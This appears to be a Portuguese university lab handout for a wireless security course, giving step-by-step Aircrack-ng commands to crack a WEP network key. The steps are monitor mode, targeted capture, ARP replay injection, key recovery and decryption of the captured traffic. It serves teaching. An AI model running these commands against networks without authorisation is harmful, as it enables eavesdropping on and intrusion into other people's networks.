

# Laboratório WEP

Prof. Gabriel Rodrigues Caldas de Aquino

Compilado em:  
April 8, 2026

## Informações Gerais

Este laboratório consiste na exploração prática das vulnerabilidades dos protocolos de segurança WEP, WPA e WPA2 discutidas em aula.

### Ferramental utilizado:

- **iwconfig**: Ferramenta nativa nos sistemas UNIX-like usada para verificar o estado e configurar interfaces de rede sem fio
- **Aircrack-NG**: Suite de ferramentas para auditoria em redes 802.11
  - **airmon-ng**: Habilita e desabilita o modo “Monitor” nas interfaces de rede sem fio
  - **airodump-ng**: Captura quadros 802.11 completos
  - **aireplay-ng**: Injeta e reenvia quadros 802.11, além de implementar alguns ataques
  - **airolib-ng**: Pré-computa chaves WPA ou WPA2 para agilizar quebra por força bruta
  - **aircrack-ng**: Quebra chaves WEP e WPA/WPA2 no modo pessoal
  - **airdecap-ng**: Decodifica arquivos de captura codificados com WEP, WPA ou WPA2

## Parte I: Exploração do ataque estatístico sobre redes 802.11 com WEP

**Objetivo:** Recuperar a chave de uma rede 802.11 que utiliza WEP [3].

**Tempo previsto:** 45 minutos

A técnica utilizada foi publicada em [1] e estendida em [2]. Ela explora falhas intrínsecas do RC4 (como repetição de IVs) e falhas de implementação (como correlação entre bits da chave WEP e o primeiro byte de todos os IVs).

## Procedimentos

### Passo 1: Configurar a interface no modo “Monitor”

- **Ferramentas:** `airmon-ng`, `iwconfig`
- `airmon-ng start wlan0`: Coloca a interface `wlan0` em modo “Monitor”
- `iwconfig`: Checa se a interface foi colocada em modo monitoração. É possível que uma interface virtual seja criada em modo monitor

- **Comandos:**

```
airmon-ng start wlan0
iwconfig
```

### Passo 2: Capturar quadros da rede alvo

- **Ferramentas:** `airodump-ng`
- `airodump-ng mon0`
  - Mostra todas as redes sem fio no alcance
  - Obtem as seguintes informações:
    - BSSID do AP,
    - Canal em que a rede está operando,
    - Endereço MAC de um cliente ativo na rede (preferência para um que esteja gerando muito tráfego).

- `airodump-ng -channel [CHANNEL] -bssid [BSSID] -w [PREFIX] mon0`:
  - Captura de quadros específica da rede sem fio alvo
  - `-w [PREFIX]`: significa que você vai passar um prefixo de arquivo para salvar ou carregar

- **Comandos:**

```
airodump-ng mon0
airodump-ng --channel [CHANNEL] --bssid [BSSID] -w [PREFIX] mon0
```

### Passo 3: Acelerar geração de IVs

- **Ferramentas:** `aireplay-ng`
- Executa o ataque 3 da ferramenta `aireplay-ng`
- o ARP Request Replay Attack Reenvia quadros “ARP Request” capturados vindos do MAC especificado

- Cada quadro “ARP Request” provoca um “ARP Response” com um novo IV

- **Comando:**

```
aireplay-ng -3 -b [BSSID] -m [MAC] mon0
```

#### **Passo 4: Recuperar a chave WEP**

- **Ferramentas:** aircrack-ng
- Especifica que o ataque de [2] deve ser executado antes do de [1]
- Procura repetição de IVs no arquivo de captura passado como parâmetro
- Exibe a chave WEP recuperada

- **Comando:**

```
aircrack-ng -P 2 [PREFIX]-01.cap
```

#### **Passo 5: Decodificar o arquivo de captura**

- **Ferramentas:** airdecap-ng

- **Comando:**

```
airdecap-ng -w [CHAVE] [PREFIX]-01.cap
```

## **References**

- [1] Scott Fluhrer, Itsik Mantin, and Adi Shamir. Weaknesses in the key scheduling algorithm of RC4. In *Selected Areas in Cryptography*, volume 2259 of *Lecture Notes in Computer Science*, pages 1–24. Springer, 2001.
- [2] Erik Tews, Ralf-Philipp Weinmann, and Andrei Pyshkin. Breaking 104 bit WEP in less than 60 seconds. In *Proceedings of the 8th International Conference on Information Security Applications (WISA 2007)*, pages 188–202. Springer, 2007.
- [3] Shivaputrappa Vibhuti. Ieee 802.11 wep wired equivalent privacy concepts and vulnerability. *San Jose State University, CA, USA, CS265 Spring*, 2005.